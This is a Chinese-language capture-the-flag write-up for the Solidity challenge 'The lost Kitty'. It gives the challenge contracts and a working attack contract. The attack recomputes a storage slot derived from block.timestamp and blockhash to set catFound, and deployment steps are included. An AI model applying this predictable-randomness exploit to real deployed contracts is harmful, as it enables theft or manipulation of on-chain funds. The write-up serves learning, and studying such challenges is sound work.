CTF-The lost Kitty
CTF-The lost kitty
题目就是Lucas在一个空间为2^256的房间丢失了一只猫,要求我们找到这只小猫,题目的源代码,如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract HiddenKittyCat {
address private immutable _owner;
constructor() {
_owner = msg.sender;
bytes32 slot = keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 69)));
assembly {
sstore(slot, “KittyCat!”)
}
}
function areYouHidingHere(bytes32 slot) external view returns (bool) {
require(msg.sender == _owner, “!owner”);
bytes32 kittyPointer;
assembly {
kittyPointer := sload(slot)
}
return kittyPointer == “KittyCat!”;
}
function destroyMe() external {
require(msg.sender == _owner, “!owner”);
selfdestruct(payable(address(0)));
}
}
contract House {
bool public catFound;
function isKittyCatHere(bytes32 _slot) external {
if (catFound) {
return;
}
HiddenKittyCat hiddenKittyCat = new HiddenKittyCat();
bool found = hiddenKittyCat.areYouHidingHere(_slot);
if (!found) {
hiddenKittyCat.destroyMe();
} else {
catFound = true;
}
}
}
阅读完整个代码,好像似曾相识,原来在以前的ethernaut里见过,这个题类似于Ethernaut里的Flipflopcoin,都是答案已经出来了
首先hidekittycat合约中的函数都有require(msg.sender==owner)的验证,如果想直接调用areYoufindhere函数,这样会很难调用, 这kittycat题又是涉及到汇编的知识,不过这个汇编很好理解,slot为储存位置,使用sstore汇编语言,将kittycat储存到slot位置上,然而这个slot的具体值,已经在构造函数中计算出来了。再来看看house合约,在isKittyCathouse函数中,只要我们传入正确的_slot,就能使catFound变为ture,而正确的_slot在前面已经有了,所以我们只需要写一个攻击合约,如下:
//SPDX-License-Identifier:MIT
pragma solidity ^0.8.0;
interface Ihouse{
function isKittyCatHere(bytes32 _slot) external;
}
contract Attracker{
Ihouse public target;
constructor(address _target){
target = Ihouse(_target);
}
function pwn () external {
bytes32 slot = keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 69)));
target.isKittyCatHere(slot);
}
}
先部署house合约,得到它的地址:0xE726d7E7739188f0fA45267997eA97b8b1D891E6
在部署Attracter合约,传入house合约的地址,调用pwn函数,即可
最后查看cat是否找到,CatFound就变为ture,说明已经找到cat.